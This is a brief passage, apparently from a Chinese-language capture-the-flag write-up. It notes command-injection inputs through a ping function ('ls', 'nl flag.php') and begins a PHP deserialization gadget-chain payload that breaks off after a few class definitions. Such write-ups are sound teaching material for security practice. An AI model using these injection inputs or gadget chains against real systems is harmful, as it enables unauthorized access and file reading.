WEB 仔细ping ls nl flag.php pop 简单的链子，瞄一眼就能找到了。 payload <?php class TT { public $key; public $c; } class JJ { public $obj; } class MM { public $name; public $c; } $m = new MM…